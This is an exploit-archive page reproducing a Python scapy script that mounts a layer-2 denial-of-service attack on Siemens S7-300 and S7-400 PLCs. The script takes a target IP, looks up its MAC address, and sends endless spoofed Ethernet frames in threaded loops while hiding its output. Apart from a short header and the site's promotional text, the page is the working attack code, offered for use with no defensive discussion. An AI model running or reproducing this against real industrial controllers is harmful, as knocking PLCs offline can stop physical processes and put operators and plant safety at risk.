Lucene search
K

Siemens S7 Layer 2 Denial Of Service

πŸ—“οΈΒ 05 Jan 2022Β 00:00:00Reported byΒ RoseSecurityTypeΒ 
packetstorm
Β packetstorm
πŸ”—Β packetstormsecurity.comπŸ‘Β 264Β Views

Siemens S7 Layer 2 Denial Of Service exploit by RoseSecurity using scapy and threading for Firmware versions more than

Code
`# Exploit Title: Siemens S7 Layer 2 - Denial of Service (DoS)  
# Date: 21/10/2021  
# Exploit Author: RoseSecurity  
# Vendor Homepage: https://www.siemens.com/us/en.html  
# Version: Firmware versions >= 3  
# Tested on: Siemens S7-300, S7-400 PLCs  
  
  
#!/usr/bin/python3  
  
from scapy.all import *  
from colorama import Fore, Back, Style  
from subprocess import Popen, PIPE  
from art import *  
import threading  
import subprocess  
import time  
import os  
import sys  
import re  
  
# Banner  
  
print(Fore.RED + r"""  
  
β–„β–„β–„Β· β–„β€’ β–„β–Œβ–„β–„β–„β–„β–„ β€’ β–Œ β–„ Β·. β–„β–„β–„Β· β–„β–„β–„β–„β–„ β–„β–„β–„   
β–β–ˆ β–€β–ˆ β–ˆβ–ͺβ–ˆβ–ˆβ–Œβ€’β–ˆβ–ˆ β–ͺ Β·β–ˆβ–ˆ β–β–ˆβ–ˆβ–ˆβ–ͺβ–β–ˆ β–€β–ˆ β€’β–ˆβ–ˆ β–ͺ β–€β–„ β–ˆΒ·   
β–„β–ˆβ–€β–€β–ˆ β–ˆβ–Œβ–β–ˆβ–Œ β–β–ˆ.β–ͺ β–„β–ˆβ–€β–„ β–β–ˆ β–Œβ–β–Œβ–β–ˆΒ·β–„β–ˆβ–€β–€β–ˆ β–β–ˆ.β–ͺ β–„β–ˆβ–€β–„ ▐▀▀▄   
β–β–ˆ β–ͺβ–β–Œβ–β–ˆβ–„β–ˆβ–Œ β–β–ˆβ–ŒΒ·β–β–ˆβ–Œ.β–β–Œβ–ˆβ–ˆ β–ˆβ–ˆβ–Œβ–β–ˆβ–Œβ–β–ˆ β–ͺβ–β–Œ β–β–ˆβ–ŒΒ·β–β–ˆβ–Œ.β–β–Œβ–β–ˆβ€’β–ˆβ–Œ   
β–€ β–€ β–€β–€β–€ β–€β–€β–€ β–€β–ˆβ–„β–€β–ͺβ–€β–€ β–ˆβ–ͺβ–€β–€β–€ β–€ β–€ β–€β–€β–€ β–€β–ˆβ–„β–€β–ͺ.β–€ β–€   
β–„β–„β–„β–„β–„β–„β–„β–„ .β–„β–„β–„ β€’ β–Œ β–„ Β·. β–ͺ ▐ β–„ β–„β–„β–„Β· β–„β–„β–„β–„β–„ β–„β–„β–„   
β€’β–ˆβ–ˆ β–€β–„.β–€Β·β–€β–„ β–ˆΒ·Β·β–ˆβ–ˆ β–β–ˆβ–ˆβ–ˆβ–ͺβ–ˆβ–ˆ β€’β–ˆβ–Œβ–β–ˆβ–β–ˆ β–€β–ˆ β€’β–ˆβ–ˆ β–ͺ β–€β–„ β–ˆΒ·  
β–β–ˆ.β–ͺ▐▀▀β–ͺ▄▐▀▀▄ β–β–ˆ β–Œβ–β–Œβ–β–ˆΒ·β–β–ˆΒ·β–β–ˆβ–β–β–Œβ–„β–ˆβ–€β–€β–ˆ β–β–ˆ.β–ͺ β–„β–ˆβ–€β–„ ▐▀▀▄   
β–β–ˆβ–ŒΒ·β–β–ˆβ–„β–„β–Œβ–β–ˆβ€’β–ˆβ–Œβ–ˆβ–ˆ β–ˆβ–ˆβ–Œβ–β–ˆβ–Œβ–β–ˆβ–Œβ–ˆβ–ˆβ–β–ˆβ–Œβ–β–ˆ β–ͺβ–β–Œ β–β–ˆβ–ŒΒ·β–β–ˆβ–Œ.β–β–Œβ–β–ˆβ€’β–ˆβ–Œ  
β–€β–€β–€ β–€β–€β–€ .β–€ β–€β–€β–€ β–ˆβ–ͺβ–€β–€β–€β–€β–€β–€β–€β–€ β–ˆβ–ͺ β–€ β–€ β–€β–€β–€ β–€β–ˆβ–„β–€β–ͺ.β–€ β–€  
""")  
  
time.sleep(1.5)  
  
# Get IP to exploit  
  
IP = input("Enter the IP address of the device to exploit: ")  
  
# Find the mac address of the device  
  
Mac = getmacbyip(IP)  
  
# Function to send the ouput to "nothing"  
  
def NULL ():  
  
f = open(os.devnull, 'w')  
sys.stdout = f  
  
# Eternal loop to produce DoS condition  
  
def Arnold ():  
  
AutomatorTerminator = True  
  
while AutomatorTerminator == True:  
Packet = Ether()  
Packet.dst = "00:00:00:00:00:00"  
Packet.src = Mac  
sendp(Packet)  
NULL()  
def Sarah ():  
  
AutomatorTerminator = True  
  
while AutomatorTerminator == True:  
Packet = Ether()  
Packet.dst = "00:00:00:00:00:00"  
Packet.src = Mac  
sendp(Packet)  
NULL()  
def Kyle ():  
AutomatorTerminator = True  
  
while AutomatorTerminator == True:  
Packet = Ether()  
Packet.dst = "00:00:00:00:00:00"  
Packet.src = Mac  
sendp(Packet)  
NULL()  
  
# Arnold  
ArnoldThread = threading.Thread(target=Arnold)  
ArnoldThread.start()  
ArnoldThread.join()  
NULL()  
  
# Sarah  
  
SarahThread = threading.Thread(target=Sarah)  
SarahThread.start()  
SarahThread.join()  
NULL()  
  
# Kyle  
  
KyleThread = threading.Thread(target=Kyle)  
KyleThread.start()  
KyleThread.join()  
NULL()  
  
  
`

Data

Build on a solid foundation withΒ Vulners data

WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data

Api

Power your application withΒ Vulners API

The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access

App

Assess and manage vulnerabilities withΒ VulnersΒ tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation